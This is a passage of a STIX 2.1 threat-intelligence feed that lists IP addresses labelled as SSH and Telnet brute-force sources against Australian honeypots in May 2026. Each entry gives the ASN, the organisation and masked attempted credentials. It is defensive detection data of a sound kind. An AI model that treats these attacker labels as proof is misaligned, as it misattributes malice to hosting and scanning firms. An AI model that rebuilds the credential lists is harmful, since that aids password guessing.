      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): P*******@.",
      "id": "indicator--bed5c877-554e-41e2-929b-f3780ffd1b6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.76.236.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--4327c0c6-f72f-4268-ac5c-28cfded5cb35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.23.177.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T10:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 12989. Organisation(s): Black HOST Ltd.",
      "id": "indicator--c8d7f83e-5f8d-42ba-99ed-cdb3b5ded5c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T10:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T10:15:05.000Z",
      "valid_until": "2026-07-02T10:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 236. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, t**t, a****n, a***n. Passwords observed (masked): p******d, 1***5, a***n, 1**1, 1****6.",
      "id": "indicator--7b65b897-3335-4dd4-b1ea-587c6588022f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.215.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 274. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, u**r, 1**4, b*********e. Passwords observed (masked): 1**4, a***n, a******3, 0**************D, 1******8.",
      "id": "indicator--5d613ae2-70a7-4291-a123-ae71144a5c1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.173.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): h***n. Passwords observed (masked): h******3.",
      "id": "indicator--f081ad1c-7d89-4bcd-ae92-a05a2511d8b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.15.195.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 348. Sensors involved: Cowrie. Target ports: 22. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A..",
      "id": "indicator--6904351b-b4ba-46b2-8aa3-0a9879d78adf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.184.172.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CZ. ASN(s): 24806. Organisation(s): INTERNET CZ, a.s..",
      "id": "indicator--c879b01d-5f98-4e15-b0d1-1dfb0fdfeab0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.211.195.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 5394. Organisation(s): UNIDATA S.p.A..",
      "id": "indicator--d7657e8a-ec7f-40ac-9134-cd0ff1ef273d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.192.120.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T11:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 250. Sensors involved: Cowrie. Target ports: 22. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--c956e339-71a1-43ca-8cc4-5649516ca7e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T11:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.100.120.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T11:15:06.000Z",
      "valid_until": "2026-07-02T11:15:03.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--4b948c81-7de6-41a6-a43e-0f65c2a81539",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.206.244.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262354. Organisation(s): GIGA MAIS FIBRA TELECOMUNICACOES S.A..",
      "id": "indicator--191cecb6-00c0-4c7c-9cec-033da4b84a08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.100.63.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--8cb75114-e943-48ca-84b5-2c352382f15e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '160.153.175.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 76. Sensors involved: Cowrie. Target ports: 23. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, a***n, u**r, , d*****t. Passwords observed (masked): , p******d, a***n, d*****t, 1**4.",
      "id": "indicator--9d95e6f1-545c-41ba-a693-c8c6f2047e83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2627. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: LU. ASN(s): 214472. Organisation(s): Offshore LC. Usernames observed (masked): r**t, u****u, d****y, a***n, u**r. Passwords observed (masked): 1****6, ***, *, 1**4, p******d.",
      "id": "indicator--4d7a3bbf-77db-47fc-b02e-9e71664759e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--5c3006ec-fe96-434c-b762-096789bc4682",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '18.226.9.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--50a8de5f-3d07-4bd2-984e-d5c97d575021",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.15.68.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T12:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--20377878-bc65-4184-9d14-b9a1578fa742",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T12:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T12:15:11.000Z",
      "valid_until": "2026-07-02T12:15:08.000Z"
    },
    {
      "created": "2026-05-31T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--5af52d50-f091-4491-aa16-f1c2598114c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.118.216.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:15:06.000Z",
      "valid_until": "2026-07-02T13:15:03.000Z"
    },
    {
      "created": "2026-05-31T13:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--0568b7d7-c1b8-419d-a622-1bce729be4c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.142.211.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:15:06.000Z",
      "valid_until": "2026-07-02T13:15:03.000Z"
    },
    {
      "created": "2026-05-31T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--c3d9d477-7d44-4e1d-9d88-5bf685a9e2f2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '40.124.170.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:15:06.000Z",
      "valid_until": "2026-07-02T13:15:03.000Z"
    },
    {
      "created": "2026-05-31T13:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--2878dede-2238-4cdf-9ef0-53b7d6c54cb5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T13:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T13:15:06.000Z",
      "valid_until": "2026-07-02T13:15:03.000Z"
    },
    {
      "created": "2026-05-31T14:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--28150a4e-e987-4267-b049-aa383c553f92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '143.198.98.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:15:06.000Z",
      "valid_until": "2026-07-02T14:15:03.000Z"
    },
    {
      "created": "2026-05-31T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--613f32c3-9a81-47b3-93d1-76340a2b3c61",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.118.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:15:06.000Z",
      "valid_until": "2026-07-02T14:15:03.000Z"
    },
    {
      "created": "2026-05-31T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 13489. Organisation(s): UNE EPM TELECOMUNICACIONES S.A..",
      "id": "indicator--2d658832-ae84-43d4-81ca-a58b7b15785f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.128.6.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:15:06.000Z",
      "valid_until": "2026-07-02T14:15:03.000Z"
    },
    {
      "created": "2026-05-31T14:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c8b08d39-20f4-4fec-a66b-288554b6b54a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T14:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '39.97.54.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T14:15:06.000Z",
      "valid_until": "2026-07-02T14:15:03.000Z"
    },
    {
      "created": "2026-05-31T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 131596. Organisation(s): TBC.",
      "id": "indicator--ba3ba34c-000b-4c00-a9a7-bc83b855df25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.240.203.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T15:15:11.000Z",
      "valid_until": "2026-07-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-31T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--b4d7a04b-1d16-49db-a2e8-362f32ccbe47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T15:15:11.000Z",
      "valid_until": "2026-07-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-31T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12389. Organisation(s): Rostelecom.",
      "id": "indicator--a9dcda7e-d0ec-4a0c-9232-249f5e7113bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.75.168.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T15:15:11.000Z",
      "valid_until": "2026-07-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--4e477ebd-2158-4d36-8e12-8d8328ed77e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.244.172.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, u***i. Passwords observed (masked): Q*********6, u***i.",
      "id": "indicator--7235717b-93c6-4b20-b90d-269ced2b4d10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.32.250.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 87. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 142403. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t, 3**********4, m*******t. Passwords observed (masked): ***, 1******+, 3***********4, 3**********4, r******!.",
      "id": "indicator--4b96e46f-275e-4ebf-8164-fd507ddb0e62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.83.14.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 83. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): s**v, 3**********4, u****u. Passwords observed (masked): 3***********4, 3**********4, h***o, s**v.",
      "id": "indicator--a7f65431-61d2-4089-b4e3-e1ac3e954b7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.68.108.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--c8d651ff-f314-47a7-a796-63e748fa23ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-31T16:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.212.12.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-31T16:15:06.000Z",
      "valid_until": "2026-07-02T16:15:03.000Z"
    },
    {
      "created": "2026-05-31T16:15:06.000Z",
